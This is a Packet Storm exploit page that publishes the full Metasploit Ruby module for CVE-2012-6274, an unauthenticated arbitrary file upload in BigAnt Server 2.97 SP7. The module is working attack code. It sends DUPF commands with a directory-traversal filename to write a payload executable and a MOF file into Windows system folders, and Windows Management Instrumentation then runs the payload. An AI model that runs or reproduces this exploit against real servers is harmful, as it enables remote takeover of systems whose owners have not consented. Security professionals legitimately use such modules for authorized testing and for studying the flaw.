what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BigAnt Server DUPF Command Arbitrary File Upload

BigAnt Server DUPF Command Arbitrary File Upload
Posted Feb 20, 2013
Authored by juan vazquez, Hamburgers Maccoy | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. A lack of authentication allows to make unauthenticated file uploads through a DUPF command. Additionally the filename option in the same command can be used to launch a directory traversal attack and achieve arbitrary file upload. The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 SP2.

tags | exploit, arbitrary, file upload
systems | windows
advisories | CVE-2012-6274, OSVDB-89342
SHA-256 | dc87880460e34e43169ec0e0613b958641d3dd6f47c0902d800d64b756f31d6e

BigAnt Server DUPF Command Arbitrary File Upload

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',
'Description' => %q{
This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
A lack of authentication allows to make unauthenticated file uploads through a DUPF
command. Additionally the filename option in the same command can be used to launch
a directory traversal attack and achieve arbitrary file upload.

The module uses uses the Windows Management Instrumentation service to execute an
arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
SP2.
},
'Author' =>
[
'Hamburgers Maccoy', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2012-6274' ],
[ 'US-CERT-VU', '990652' ],
[ 'BID', '57214' ],
[ 'OSVDB', '89342' ]
],
'Privileged' => true,
'Platform' => 'win',
'Targets' =>
[
[ 'BigAnt Server 2.97 SP7', { } ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'DisclosureDate' => 'Jan 09 2013'))

register_options(
[
Opt::RPORT(6661),
OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
], self.class)

end

def upload_file(filename, content)

random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"

dupf = "DUPF 16\n"
dupf << "cmdid: 1\n"
dupf << "content-length: #{content.length}\n"
dupf << "content-type: Appliction/Download\n"
dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
dupf << "modified: #{random_date}\n"
dupf << "pclassid: 102\n"
dupf << "pobjid: 1\n"
dupf << "rootid: 1\n"
dupf << "sendcheck: 1\n\n"
dupf << content

print_status("sending DUPF")
connect
sock.put(dupf)
res = sock.get_once
disconnect
return res

end

def exploit

peer = "#{rhost}:#{rport}"

# Setup the necessary files to do the wbemexec trick
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
exe = generate_payload_exe
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, exe_name)

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
print_good("#{peer} - #{exe_name} uploaded successfully")
else
if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
print_error("#{peer} - Upload failed, check the DEPTH option")
end
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
end

print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
print_good("#{peer} - #{mof_name} uploaded successfully")
register_file_for_cleanup(exe_name)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
else
if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
print_error("#{peer} - Upload failed, check the DEPTH option")
end
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
end

end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close